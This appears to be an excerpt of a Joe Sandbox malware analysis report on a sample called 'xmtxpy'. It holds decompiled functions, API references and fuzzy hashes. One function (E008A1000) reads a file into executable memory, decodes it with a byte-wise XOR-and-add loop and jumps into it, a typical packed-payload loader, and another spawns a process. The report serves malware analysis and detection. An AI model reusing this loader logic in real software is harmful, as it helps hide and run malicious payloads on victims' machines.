				_t43 = __edi;
				_t42 = __edx;
				_t44 = __eax & 0x0000ffff;
				E008AF990(2);
				_t14 = 0x5a4d;
				_t47 =  *0x8a0000 - _t14; // 0x5a4d
				if(_t47 == 0) {
					_t14 =  *0x8a003c; // 0xe0
					__eflags =  *((intOrPtr*)(_t14 + 0x8a0000)) - 0x4550;
					if(__eflags != 0) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t14 + 0x8a0018)) - 0x10b;
						if(__eflags != 0) {
							goto L2;
						} else {
							_t32 = 0;
							__eflags =  *((intOrPtr*)(_t14 + 0x8a0074)) - 0xe;
							if(__eflags > 0) {
								__eflags =  *(_t14 + 0x8a00e8);
								_t6 =  *(_t14 + 0x8a00e8) != 0;
								__eflags = _t6;
								_t32 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t32 = 0;
				}
				 *(_t46 - 0x1c) = _t32;
				asm("in al, 0xe8");
				asm("lds ecx, [eax]");
				 *_t14 =  *_t14 + _t14;
				_t48 = _t14;
				if(_t14 == 0) {
					E008AE9B0(0x1c);
				}
				_t15 = E008AEDFA(_t32, _t43, _t48);
				_t49 = _t15;
				if(_t15 == 0) {
					_t15 = E008AE9B0(0x10);
				}
				E008AFA79(_t15);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				_t17 = E008AF1A3(_t32, _t43, _t44, _t49); // executed
				if(_t17 < 0) {
					E008AE9B0(0x1b);
				}
				 *0x8c101c = GetCommandLineW(); // executed
				_t19 = E008AFAB9(); // executed
				 *0x8bf0c8 = _t19;
				_t20 = E008AF457();
				_t51 = _t20;
				if(_t20 < 0) {
					_t20 = E008AEED7(_t32, _t42, _t43, _t44, _t51, 8);
				}
				_t21 = E008AF694(_t20, _t32, _t42, _t43, _t44);
				_t52 = _t21;
				if(_t21 < 0) {
					E008AEED7(_t32, _t42, _t43, _t44, _t52, 9);
				}
				_t22 = E008AEF11(1);
				_t53 = _t22;
				if(_t22 != 0) {
					E008AEED7(_t32, _t42, _t43, _t44, _t53, _t22);
				}
				_t23 = E008AFEF7();
				_push(_t44);
				E008A1000(0x8a0000, 0, _t23); // executed
				_t45 = _t23;
				 *((intOrPtr*)(_t46 - 0x24)) = _t23;
				if(_t32 == 0) {
					E008AF17A(_t45);
				}
				E008AEF02();
				 *(_t46 - 4) = 0xfffffffe;
				return E008AFF95(_t45);
			}

0x008a4173
0x008a4173
0x008ae871
0x008ae876
0x008ae87c
0x008ae881
0x008ae888
0x008ae88e
0x008ae893
0x008ae89d
0x00000000
0x008ae89f
0x008ae8a4
0x008ae8ab
0x00000000
0x008ae8ad
0x008ae8ad
0x008ae8af
0x008ae8b6
0x008ae8b8
0x008ae8be
0x008ae8be
0x008ae8be
0x008ae8be
0x008ae8b6
0x008ae8ab
0x008ae88a
0x008ae88a
0x008ae88a
0x008ae88a
0x008ae8c1
0x008ae8c3
0x008ae8c5
0x008ae8c7
0x008ae8c9
0x008ae8cb
0x008ae8cf
0x008ae8d4
0x008ae8d5
0x008ae8da
0x008ae8dc
0x008ae8e0
0x008ae8e5
0x008ae8e6
0x008ae8eb
0x008ae8ef
0x008ae8f6
0x008ae8fa
0x008ae8ff
0x008ae906
0x008ae90b
0x008ae910
0x008ae915
0x008ae91a
0x008ae91c
0x008ae920
0x008ae925
0x008ae926
0x008ae92b
0x008ae92d
0x008ae931
0x008ae936
0x008ae939
0x008ae93f
0x008ae941
0x008ae944
0x008ae949
0x008ae94a
0x008ae94f
0x008ae958
0x008ae95d
0x008ae95f
0x008ae964
0x008ae967
0x008ae967
0x008ae96c
0x008ae9a1
0x008ae9af

APIs

_fast_error_exit.LIBCMT ref: 008AE8CF
_fast_error_exit.LIBCMT ref: 008AE8E0
__RTC_Initialize.LIBCMT ref: 008AE8E6
__ioinit.LIBCMT ref: 008AE8EF
_fast_error_exit.LIBCMT ref: 008AE8FA
GetCommandLineW.KERNEL32 ref: 008AE900
___crtGetEnvironmentStringsW.LIBCMT ref: 008AE90B
__wsetargv.LIBCMT ref: 008AE915
__wsetenvp.LIBCMT ref: 008AE926
__cinit.LIBCMT ref: 008AE939
__wwincmdln.LIBCMT ref: 008AE94A

Strings

.$, xrefs: 008AE8AF

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__wsetargv__wsetenvp__wwincmdln
String ID: .$
API String ID: 965155184-2223841709
Opcode ID: d09755f6bcf8eb5ce504bbe7748687d9629dc642e3d684f51b6e9c39cebf42d6
Instruction ID: 87fadd7b4f139cd9cb2d781ec796443bfced0a472ba5b3baf0f4ca82842a2aec
Opcode Fuzzy Hash: d09755f6bcf8eb5ce504bbe7748687d9629dc642e3d684f51b6e9c39cebf42d6
Instruction Fuzzy Hash: B621B360A0071599FB607BF8988676B2650FF13754F244C7AFA05DADD3EFB8C8808A53

Uniqueness

Uniqueness Score: -1.00%

Function 008A30E5 Relevance: 16.6, APIs: 11, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E008A30E5(void* __eax, void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t10;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t27;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t41;

				_t39 = __esi;
				_t38 = __edi;
				_t37 = __edx;
				_t27 = __ebx;
				 *((intOrPtr*)(__ecx - 0x7f)) =  *((intOrPtr*)(__ecx - 0x7f)) + __eax;
				asm("in al, 0xe8");
				asm("lds ecx, [eax]");
				 *__ecx =  *__ecx + __ecx;
				_t43 = __ecx;
				if(__ecx == 0) {
					E008AE9B0(0x1c);
				}
				_t10 = E008AEDFA(_t27, _t38, _t43);
				_t44 = _t10;
				if(_t10 == 0) {
					_t10 = E008AE9B0(0x10);
				}
				E008AFA79(_t10);
				 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
				_t12 = E008AF1A3(_t27, _t38, _t39, _t44); // executed
				if(_t12 < 0) {
					E008AE9B0(0x1b);
				}
				 *0x8c101c = GetCommandLineW(); // executed
				_t14 = E008AFAB9(); // executed
				 *0x8bf0c8 = _t14;
				_t15 = E008AF457();
				_t46 = _t15;
				if(_t15 < 0) {
					_t15 = E008AEED7(_t27, _t37, _t38, _t39, _t46, 8);
				}
				_t16 = E008AF694(_t15, _t27, _t37, _t38, _t39);
				_t47 = _t16;
				if(_t16 < 0) {
					E008AEED7(_t27, _t37, _t38, _t39, _t47, 9);
				}
				_t17 = E008AEF11(1);
				_t48 = _t17;
				if(_t17 != 0) {
					E008AEED7(_t27, _t37, _t38, _t39, _t48, _t17);
				}
				_t18 = E008AFEF7();
				_push(_t39);
				E008A1000(0x8a0000, 0, _t18); // executed
				_t40 = _t18;
				 *((intOrPtr*)(_t41 - 0x24)) = _t18;
				if(_t27 == 0) {
					E008AF17A(_t40);
				}
				E008AEF02();
				 *(_t41 - 4) = 0xfffffffe;
				return E008AFF95(_t40);
			}

0x008a30e5
0x008a30e5
0x008a30e5
0x008a30e5
0x008a30e8
0x008ae8c3
0x008ae8c5
0x008ae8c7
0x008ae8c9
0x008ae8cb
0x008ae8cf
0x008ae8d4
0x008ae8d5
0x008ae8da
0x008ae8dc
0x008ae8e0
0x008ae8e5
0x008ae8e6
0x008ae8eb
0x008ae8ef
0x008ae8f6
0x008ae8fa
0x008ae8ff
0x008ae906
0x008ae90b
0x008ae910
0x008ae915
0x008ae91a
0x008ae91c
0x008ae920
0x008ae925
0x008ae926
0x008ae92b
0x008ae92d
0x008ae931
0x008ae936
0x008ae939
0x008ae93f
0x008ae941
0x008ae944
0x008ae949
0x008ae94a
0x008ae94f
0x008ae958
0x008ae95d
0x008ae95f
0x008ae964
0x008ae967
0x008ae967
0x008ae96c
0x008ae9a1
0x008ae9af

APIs

_fast_error_exit.LIBCMT ref: 008AE8CF

Part of subcall function 008AE9B0: __FF_MSGBANNER.LIBCMT ref: 008AE9BC
Part of subcall function 008AE9B0: __NMSG_WRITE.LIBCMT ref: 008AE9C4

_fast_error_exit.LIBCMT ref: 008AE8E0
__RTC_Initialize.LIBCMT ref: 008AE8E6
__ioinit.LIBCMT ref: 008AE8EF
_fast_error_exit.LIBCMT ref: 008AE8FA
GetCommandLineW.KERNEL32 ref: 008AE900
___crtGetEnvironmentStringsW.LIBCMT ref: 008AE90B
__wsetargv.LIBCMT ref: 008AE915
__wsetenvp.LIBCMT ref: 008AE926
__cinit.LIBCMT ref: 008AE939
__wwincmdln.LIBCMT ref: 008AE94A

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__wsetargv__wsetenvp__wwincmdln
String ID:
API String ID: 965155184-0
Opcode ID: b5ab956eed20f05a372d2e83b1aff10c2784c03741205e7fd92235a5aedd176e
Instruction ID: 1f4328fb1270815b40bd831efc690f2a02e652aff3e1c4de0287aedc37cef172
Opcode Fuzzy Hash: b5ab956eed20f05a372d2e83b1aff10c2784c03741205e7fd92235a5aedd176e
Instruction Fuzzy Hash: B111BC20204316AAFA607BF89C46B6B2A44FF13354F240C7AFA40DACC3EFA9C4415223

Uniqueness

Uniqueness Score: -1.00%

Function 0012102F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 00121173

Strings

D, xrefs: 001210FC

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 397473f0824e4f4b43b6733d8b0170529a92fdd24fe94099af0223697035be09
Instruction ID: 47c85d2145c5a002aae2e457d77010389c8a879f09c1682aa40106225ae0a023
Opcode Fuzzy Hash: 397473f0824e4f4b43b6733d8b0170529a92fdd24fe94099af0223697035be09
Instruction Fuzzy Hash: 1BA1E270E00229EFDB45DFA4D981BAEBBB9AF18344F2040A5F515EB251E730AE61DF10

Uniqueness

Uniqueness Score: -1.00%

Function 001207DD Relevance: 7.7, APIs: 5, Instructions: 180
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00120974

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ac7005fe80b879d05ba83b6e2beb36413be2e8daa0394d11c94bb7434414d37e
Instruction ID: 5d2e200e62995a1dedab7298b5e95af07a1849fe8c11a20e762fbbc88bff6d37
Opcode Fuzzy Hash: ac7005fe80b879d05ba83b6e2beb36413be2e8daa0394d11c94bb7434414d37e
Instruction Fuzzy Hash: DF617D35E40318EBEF51DBE4E852BEEB7B5AF48710F20811AE119FA2A1E7701E50DB05

Uniqueness

Uniqueness Score: -1.00%

Function 008A1000 Relevance: 6.2, APIs: 4, Instructions: 168
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008A1000(WCHAR* _a12) {
				struct _OVERLAPPED* _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t88;
				void* _t90;

				 *0x8bf0c0 = E008AE6A0(E008AE750(), 0x7554284c);
				_t88 = CreateFileW(_a12, 0x80000000, 7, 0, 3, 0x80, 0); // executed
				_v20 = _t88;
				_v16 = GetFileSize(_v20, 0);
				_t90 = VirtualAlloc(0, _v16, 0x3000, 0x40); // executed
				_v12 = _t90;
				ReadFile(_v20, _v12, _v16,  &_v24, 0); // executed
				_v8 = 0;
				while(_v8 < _v16) {
					 *(_v12 + _v8) =  *(_v12 + _v8) & 0x000000ff ^ 0x000000ef;
					 *(_v12 + _v8) = ( *(_v12 + _v8) & 0x000000ff) - 0x86;
					 *(_v12 + _v8) =  *(_v12 + _v8) + 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) + 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) - 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) - 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) & 0x000000ff ^ 0x00000002;
					 *(_v12 + _v8) =  *(_v12 + _v8) & 0x000000ff ^ 0x000000f8;
					 *(_v12 + _v8) =  *(_v12 + _v8) + 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) & 0x000000ff ^ 0x00000036;
					 *(_v12 + _v8) = ( *(_v12 + _v8) & 0x000000ff) + 0x93;
					 *(_v12 + _v8) = ( *(_v12 + _v8) & 0x000000ff) - 0x1d;
					 *(_v12 + _v8) = ( *(_v12 + _v8) & 0x000000ff) - 0xca;
					 *(_v12 + _v8) =  *(_v12 + _v8) - 1;
					 *(_v12 + _v8) =  *(_v12 + _v8) - 1;
					 *(_v12 + _v8) = ( *(_v12 + _v8) & 0x000000ff) + 0x9e;
					 *(_v12 + _v8) =  *((intOrPtr*)(_v12 + _v8)) - 1;
					_v8 =  &(_v8->Internal);
				}
				goto __eax;
			}

0x008a1017
0x008a1032
0x008a1038
0x008a1047
0x008a1057
0x008a105d
0x008a1072
0x008a1078
0x008a108a
0x008a10ab
0x008a10c2
0x008a10d5
0x008a10e8
0x008a10fb
0x008a110e
0x008a1122
0x008a1139
0x008a114c
0x008a1160
0x008a1177
0x008a118b
0x008a11a2
0x008a11b5
0x008a11c8
0x008a11df
0x008a11f2
0x008a1087
0x008a1087
0x008a11fc

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 008A1032
GetFileSize.KERNEL32(?,00000000), ref: 008A1041
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 008A1057
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 008A1072

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: File$AllocCreateReadSizeVirtual
String ID:
API String ID: 4119528295-0
Opcode ID: 00f36e19aa980255eda0a09e8a3703a49ae2a8a586d481ced770fd49409051de
Instruction ID: 512f11380f59e6ff1d6efb79180cb5a40e6d22df8efc7c4ccd5dc9675f03655b
Opcode Fuzzy Hash: 00f36e19aa980255eda0a09e8a3703a49ae2a8a586d481ced770fd49409051de
Instruction Fuzzy Hash: DB819435905188EFDB01CBA8C991BDDBFB1AF56308F2886C4D6416B346C234AF91DF55

Uniqueness

Uniqueness Score: -1.00%

Function 008B2397 Relevance: 4.6, APIs: 3, Instructions: 59
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E008B2397(intOrPtr __ebx, void* __edx, void* __edi, long _a4) {
				void* __esi;
				void* _t2;
				void* _t6;
				void* _t7;
				void* _t11;
				long _t18;
				void* _t22;
				long _t25;

				_t23 = __edi;
				_t22 = __edx;
				_t14 = __ebx;
				_t25 = _a4;
				if(_t25 > 0xffffffe0) {
					E008B13B0(_t2, _t25);
					 *((intOrPtr*)(E008B10B7(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				_push(__ebx);
				_push(__edi);
				while(1) {
					_t6 =  *0x8bf100; // 0x4f0000
					_t27 = _t6;
					if(_t6 == 0) {
						E008AF776(_t14, _t22, _t23, _t25, _t27);
						E008AF7D3(_t14, _t22, _t23, _t25, 0x1e);
						E008AEEC1(0xff);
						_t6 =  *0x8bf100; // 0x4f0000
					}
					if(_t25 == 0) {
						_t18 = 1;
						__eflags = 1;
					} else {
						_t18 = _t25;
					}
					_t7 = RtlAllocateHeap(_t6, 0, _t18); // executed
					_t23 = _t7;
					if(_t23 != 0) {
						break;
					}
					_t14 = 0xc;
					if( *0x8bff38 == _t7) {
						 *((intOrPtr*)(E008B10B7(__eflags))) = _t14;
						L12:
						 *((intOrPtr*)(E008B10B7(_t31))) = _t14;
						break;
					}
					_t11 = E008B13B0(_t7, _t25);
					_t31 = _t11;
					if(_t11 != 0) {
						continue;
					}
					goto L12;
				}
				return _t23;
			}

0x008b2397
0x008b2397
0x008b2397
0x008b239b
0x008b23a1
0x008b2413
0x008b241e
0x008b2424
0x00000000
0x008b2424
0x008b23a3
0x008b23a4
0x008b23a5
0x008b23a5
0x008b23aa
0x008b23ac
0x008b23ae
0x008b23b5
0x008b23bf
0x008b23c4
0x008b23ca
0x008b23cd
0x008b23d5
0x008b23d5
0x008b23cf
0x008b23cf
0x008b23cf
0x008b23da
0x008b23e0
0x008b23e4
0x00000000
0x00000000
0x008b23e8
0x008b23ef
0x008b2403
0x008b2405
0x008b240a
0x00000000
0x008b240a
0x008b23f2
0x008b23f8
0x008b23fa
0x00000000
0x00000000
0x00000000
0x008b23fc
0x00000000

APIs

__FF_MSGBANNER.LIBCMT ref: 008B23AE

Part of subcall function 008AF776: __NMSG_WRITE.LIBCMT ref: 008AF79D
Part of subcall function 008AF776: __NMSG_WRITE.LIBCMT ref: 008AF7A7

__NMSG_WRITE.LIBCMT ref: 008B23B5

Part of subcall function 008AF7D3: GetModuleFileNameW.KERNEL32(00000000,008BF452,00000104,00000000,00000000,00000000), ref: 008AF865
Part of subcall function 008AF7D3: ___crtMessageBoxW.LIBCMT ref: 008AF913

Part of subcall function 008AEEC1: ExitProcess.KERNEL32 ref: 008AEED0

Part of subcall function 008B10B7: __getptd_noexit.LIBCMT ref: 008B10B7

RtlAllocateHeap.NTDLL(004F0000,00000000,00000001,00000000,00000000,00000000,?,008B039E,00000000,00000000,00000000,00000000,?,008B0253,00000018,008BCE98), ref: 008B23DA

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AllocateExitFileHeapMessageModuleNameProcess___crt__getptd_noexit
String ID:
API String ID: 3823847927-0
Opcode ID: 2976d310d9c9350f581b8c3a643d41e8fe5cacbedb26f0111a0acf432e56652c
Instruction ID: 1accad8a88c3a7f0b2e10b92a4d715941f6d615b070b797c7b9cc83ab44c0d0f
Opcode Fuzzy Hash: 2976d310d9c9350f581b8c3a643d41e8fe5cacbedb26f0111a0acf432e56652c
Instruction Fuzzy Hash: 5401F931300A519AE6113B3CEC51BAB3398FF5A364B100235F601DBBE2DE748C8185A6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008AFEE1 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008AFEE1(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x008afee6
0x008afef6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 008AFEE6
UnhandledExceptionFilter.KERNEL32(?), ref: 008AFEEF

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4669e86b246a113407a8bc6e9024439827345310c3821928331a89b46e86ce68
Instruction ID: 9434d9507dacf8d68d9004800195ed528300ed101cbaed64fcbd77a202f26f67
Opcode Fuzzy Hash: 4669e86b246a113407a8bc6e9024439827345310c3821928331a89b46e86ce68
Instruction Fuzzy Hash: 4FB09235048209ABCB002B99EC0DB883F28FB14652F000190F74D440B09B675450AA91

Uniqueness

Uniqueness Score: -1.00%

Function 008AFEB0 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008AFEB0(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x008afebd

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 008AFEB6

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ff93acedd8299f02fb1351f54de61c2be84bc421079d9d6a2595bcc5671559b9
Instruction ID: 0edf7a46ab94998a66a36bce5832ca761cace4635b79ac4e2a23007c63b72b9f
Opcode Fuzzy Hash: ff93acedd8299f02fb1351f54de61c2be84bc421079d9d6a2595bcc5671559b9
Instruction Fuzzy Hash: F6A0113000820CAB8A002B8AEC088C83F2CFA002A2B0000A0FA0C000308B23A8A0AA80

Uniqueness

Uniqueness Score: -1.00%

Function 008AF18E Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008AF18E() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x8bf100 = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x008af18e
0x008af196
0x008af1a2

APIs

GetProcessHeap.KERNEL32(008AE8C9), ref: 008AF18E

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 17e16af48363ad5197fcb3f56f4ce58fa98dabd8bee2a99c3d1be81cff7f9120
Instruction ID: 601e2f135a33e663831fe08d3a140d79dc456c4a19ff11e2076013ac7ba08215
Opcode Fuzzy Hash: 17e16af48363ad5197fcb3f56f4ce58fa98dabd8bee2a99c3d1be81cff7f9120
Instruction Fuzzy Hash: 1CB012B03015028747090B3CBC2410937DCBF18201300423DB603C11B0DF30C4109B00

Uniqueness

Uniqueness Score: -1.00%

Function 00120616 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction ID: bd8f9bf8a7deeab3b8d12dea27c3e5602838ef34e7f0f22662be0631a8e4d997
Opcode Fuzzy Hash: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction Fuzzy Hash: 8D112971A00128AFCB20DBA9E8888AEF7FDEF887907504165F804D3311E370DE60C660

Uniqueness

Uniqueness Score: -1.00%

Function 00120706 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction ID: 4b5c252bc03548354cd6320802630407d97c5a25068ab10930cad7fd6147a5fe
Opcode Fuzzy Hash: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction Fuzzy Hash: 89E09A357606089FCB08CBA8D882D65B3F8EB1C320B114390F819C73A2EB34FE00DA90

Uniqueness

Uniqueness Score: -1.00%

Function 00120744 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction ID: 89df3e36c5d435bc6314637e616c46a6ecfa34bc23df1f6fdca0373da2976240
Opcode Fuzzy Hash: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction Fuzzy Hash: 30E086363105608FC322DA19E980852F3E9FB9C3B07154569EC8AD3712C330FC10CA50

Uniqueness

Uniqueness Score: -1.00%

Function 001206C7 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 008AE750 Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008AE750() {

				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x14)))))) + 0x10));
			}

0x008ae763

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
